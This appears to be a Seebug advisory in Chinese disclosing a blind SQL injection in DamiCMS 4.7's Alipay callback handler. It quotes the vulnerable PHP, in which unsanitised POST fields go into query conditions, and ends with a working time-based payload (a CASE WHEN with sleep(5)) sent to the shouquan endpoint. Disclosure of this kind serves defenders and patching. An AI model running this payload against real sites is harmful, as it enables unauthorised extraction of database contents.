大米CMS最新版SQL盲注5绕过防御

2014-12-24T00:00:00
ID SSV:95288
Type seebug
Reporter Root
Modified 2014-12-24T00:00:00

Description

简要描述:

大米CMS最新版4.7,SQL盲注

详细说明:

大米CMS最新版4.7,SQL盲注,绕过防御 文件/Web/Lib/Action/PublicAction.class.php:

``` //在线充值或在线订单处理 function shouquan(){ $ap_path = (intval(C('AP_TYPE'))==1?'ap_jishi':'ap_danbao'); require_once("./Trade/{$ap_path}/alipay.config.php"); require_once("./Trade/{$ap_path}/lib/alipay_notify.class.php"); //计算得出通知验证结果 $alipayNotify = new AlipayNotify($alipay_config); $verify_result = $alipayNotify->verifyNotify(); //if($verify_result) {//验证成功 if(!$verify_result) {//假设这里验证成功

//商户订单号WIDout_trade_no
$out_trade_no = $_POST['out_trade_no'];
//支付宝交易号
$trade_no = $_POST['trade_no'];
//交易状态
$trade_status = $_POST['trade_status'];

$total_fee = $_POST['total_fee'];   
if($_POST['trade_status'] == 'WAIT_BUYER_PAY') {
//该判断表示买家已在支付宝交易管理中产生了交易记录,但没有付款

    //判断该笔订单是否在商户网站中已经做过处理
        //如果没有做过处理,根据订单号(out_trade_no)在商户网站的订单系统中查到该笔订单的详细,并执行商户的业务程序
        //如果有做过处理,不执行商户的业务程序

M('member_trade')->where("out_trade_no='{$out_trade_no}' or group_trade_no='{$out_trade_no}'")->setField('status',0);     
logResult('等待买家付款!');
echo "success";     //请不要修改或删除
}
else if($_POST['trade_status'] == 'WAIT_SELLER_SEND_GOODS') {
//该判断表示买家已在支付宝交易管理中产生了交易记录且付款成功,但卖家没有发货
    //判断该笔订单是否在商户网站中已经做过处理
    //如果没有做过处理,根据订单号(out_trade_no)在商户网站的订单系统中查到该笔订单的详细,并执行商户的业务程序
    //如果有做过处理,不执行商户的业务程序
M('member_trade')->where("out_trade_no='{$out_trade_no}' or group_trade_no='{$out_trade_no}'")->setField('status',1);
logResult('已付款,等待发货!');
echo "success";     //请不要修改或删除


    //调试用,写文本函数记录程序运行情况是否正常
    //logResult("这里写入想要调试的代码变量值,或其他运行的结果记录");
}
else if($_POST['trade_status'] == 'WAIT_BUYER_CONFIRM_GOODS') {
//该判断表示卖家已经发了货,但买家还没有做确认收货的操作

    //判断该笔订单是否在商户网站中已经做过处理
        //如果没有做过处理,根据订单号(out_trade_no)在商户网站的订单系统中查到该笔订单的详细,并执行商户的业务程序
        //如果有做过处理,不执行商户的业务程序
    M('member_trade')->where("out_trade_no='{$out_trade_no}' or group_trade_no='{$out_trade_no}'")->setField('status',2); 
    logResult('已发货,等待收货!');
    echo "success";     //请不要修改或删除
    //调试用,写文本函数记录程序运行情况是否正常
    //logResult("这里写入想要调试的代码变量值,或其他运行的结果记录");
}
else if($_POST['trade_status'] == 'TRADE_FINISHED' || $_POST['trade_status'] == 'TRADE_SUCCESS') {
    M('member_trade')->where("out_trade_no='{$out_trade_no}' or group_trade_no='{$out_trade_no}'")->setField('status',3);
    $trade_type = substr($out_trade_no,0,2);
    if($trade_type == "CZ"){
    $arr = explode("-",$out_trade_no);
    if(count($arr)==2){
    $uid = intval($arr[1]);
    if($uid>0){
    M('member')->where('uid='.$uid)->setInc('money',$total_fee);      
    //logResult(M('dami_common_member',null)->getLastSql().'<BR>');
    $data['uid'] =$uid;
    $data['addtime'] = time();
    $data['price'] =$total_fee;
    $data['trade_no'] = $out_trade_no;
    $data['remark'] = "用户充值";
    $data['log_type'] = 0;
    M('money_log')->add($data);
    //logResult(M('money_log')->getLastSql().'<BR>');
    }
    }
}
//退款退货相关
else if($_POST['refund_status'] == 'WAIT_SELLER_AGREE'){
M('member_trade')->where("out_trade_no='{$out_trade_no}' or group_trade_no='{$out_trade_no}'")->setField('status',7);
    }
else if($_POST['refund_status'] == 'WAIT_BUYER_RETURN_GOODS'){
M('member_trade')->where("out_trade_no='{$out_trade_no}' or group_trade_no='{$out_trade_no}'")->setField('status',8);
}
else if($_POST['refund_status'] == 'REFUND_SUCCESS'){
M('member_trade')->where("out_trade_no='{$out_trade_no}' or group_trade_no='{$out_trade_no}'")->setField('status',9);

}
else if($_POST['trade_status'] == 'TRADE_CLOSED'){
M('member_trade')->where("out_trade_no='{$out_trade_no}' or group_trade_no='{$out_trade_no}'")->setField('status',10);
}
else{
logResult($out_trade_no.'<BR>');
}
//该判断表示买家已经确认收货,这笔交易完成

    //判断该笔订单是否在商户网站中已经做过处理
        //如果没有做过处理,根据订单号(out_trade_no)在商户网站的订单系统中查到该笔订单的详细,并执行商户的业务程序
        //如果有做过处理,不执行商户的业务程序
    logResult('交易完成!');
    echo "success";     //请不要修改或删除
    //调试用,写文本函数记录程序运行情况是否正常
    //logResult("这里写入想要调试的代码变量值,或其他运行的结果记录");
}
else {
    //其他状态判断
    logResult('其他状态!');
    echo "success";
    //调试用,写文本函数记录程序运行情况是否正常
    //logResult ("这里写入想要调试的代码变量值,或其他运行的结果记录");
}
//——请根据您的业务逻辑来编写程序(以上代码仅作参考)——

/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

} else { //验证失败 logResult('验证失败<BR>'); echo "fail"; //调试用,写文本函数记录程序运行情况是否正常 //logResult("这里写入想要调试的代码变量值,或其他运行的结果记录"); } } ```

先看这里:

$verify_result = $alipayNotify-&gt;verifyNotify();

这里的$verify_result就是在支付时进行验证的结果 正常情况下,使用这里的支付时,这里肯定是验证成功的 所以这里的$verify_result应该是返回True的 所以这里我们假设$verify_result=True 当验证成功后,进入到下面:

$out_trade_no = $_POST['out_trade_no']; //支付宝交易号 $trade_no = $_POST['trade_no']; //交易状态 $trade_status = $_POST['trade_status']; $total_fee = $_POST['total_fee']; if($_POST['trade_status'] == 'WAIT_BUYER_PAY') { M('member_trade')-&gt;where("out_trade_no='{$out_trade_no}' or group_trade_no='{$out_trade_no}'")-&gt;setField('status',0); logResult('等待买家付款!'); echo "success"; //请不要修改或删除 }

POST的内容直接进入了where条件中 在where条件中,字符串是不做处理的,导致sql漏洞产生 继续下面的内容,同样产生大量的sql注入

漏洞证明:

发送请求:

http://localhost/dami/index.php?s=/Public/shouquan.html out_trade_no=111' %26%26 CASE WHEN(mid((user()) from 1 for 1)=char(114)) THEN sleep(5) ELSE (0) END%23&trade_status=WAIT_BUYER_PAY

这里会延时5秒返回:

<img src="https://images.seebug.org/upload/201412/20220417c2819ceaaf66b3394f41fa0efbd9a79a.png" alt="1.png" width="600" onerror="javascript:errimg(this);">

看看数据库执行记录:

<img src="https://images.seebug.org/upload/201412/20220425ee218e2dc46c8fd46b4362c932b8d7f0.png" alt="2.png" width="600" onerror="javascript:errimg(this);">